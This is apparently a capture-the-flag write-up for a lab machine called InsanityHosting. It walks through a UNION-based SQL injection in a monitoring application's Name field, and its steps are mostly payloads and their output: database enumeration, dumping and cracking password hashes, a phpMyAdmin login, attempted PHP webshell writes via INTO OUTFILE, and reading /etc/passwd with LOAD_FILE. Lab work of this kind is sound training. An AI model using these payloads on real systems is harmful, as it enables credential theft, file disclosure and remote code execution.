InsanityHosting_SQLi

SQL Injection

---

A SQL injection vulnerability has been identified to be present in the Name field of the target MONITORING CONTROL application. The backend appears to fetch the value of the Name field without any form of sanitization, and then the SQL query gets executed. This process is being iterated every minute.

Given the time-consuming nature of the process suspected above, avoiding the complete enumeration is advised. Thus, prioritizing exfiltrating key-data and code execution.

4 columns are shown. This suggests that there are at least 4 columns.

" UNION SELECT 1,2,3,4 -- -	

There are 4 columns

Databases

---

" UNION SELECT schema_name,2,3,4 information_schema.schemata -- -	

• information_schema
• monitoring
• mysql
• performance_schema

monitoring DB

---

" UNION SELECT table_name,2,3,4 FROM information_schema.tables WHERE table_schema="monitoring" -- -	

monitoring.users table

monitoring.users table

---

" UNION SELECT column_name,2,3,4 FROM information_schema.columns WHERE table_schema="monitoring" AND table_name="users"-- -	

• monitoring.users.username
• monitoring.users.password

monitoring.users Table Credential Exfiltration

---

" UNION SELECT username,password,3,4 FROM monitoring.users -- -	

• admin:$2y$12$huPSQmbcMvgHDkWIMnk9t.1cLoBWue3dtHf9E5cKUNcfKTOOp8cma
• nicholas:$2y$12$4R6JiYMbJ7NKnuQEoQW4ruIcuRJtDRukH.Tvx52RkUfx5eloIw7Qe
• otis:$2y$12$./XCeHl0/TCPW5zN/E9w0ecUUKbDomwjQ0yZqGz5tgASgZg6SIHFW

Those are bcrypt hash, often used in UNIX. However, hashcat was unable to crack them, except for the known password of the otis user; 123456

mysql.user Table Credential Exfiltration

---

" UNION SELECT user,password,authentication_string,4 FROM mysql.user-- -

• root:CDA244FF510B063DA17DFF84FF39BA0849F7920F
  • Password of the root user cannot be cracked.
• elliot::5A5749F309CAC33B27BA94EE02168FA3C3E7A3E9
  • The elliot user does not have password.
  • The other string is from the authentication_string column

Password Cracking

---

Password hash cracked for the elliot user; elliot123 Validating it against the target SSH server.

phpMyAdmin

---

Since the password column is empty, I should be able to authenticate to the target phpMyAdmin instance using only the username; elliot

Successfully authenticated as the elliot user. Unfortunately, nothing can be done from here due to lack of privileges.

File Write

---

" UNION SELECT "<?php system($_GET['cmd']); ?>",2,3,4 INTO OUTFILE "/var/www/html/webshell.php" -- -

" UNION SELECT '<?php system($_GET["cmd"]); ?>',2,3,4 INTO OUTFILE '/var/www/html/webshell.php' -- -

File write seems impossible.

File Read

---

" UNION SELECT LOAD_FILE('/etc/passwd'),2,3,4 -- -

file read is possible Based on the /etc/passwd file, all the exfiltrated users above are valid system users.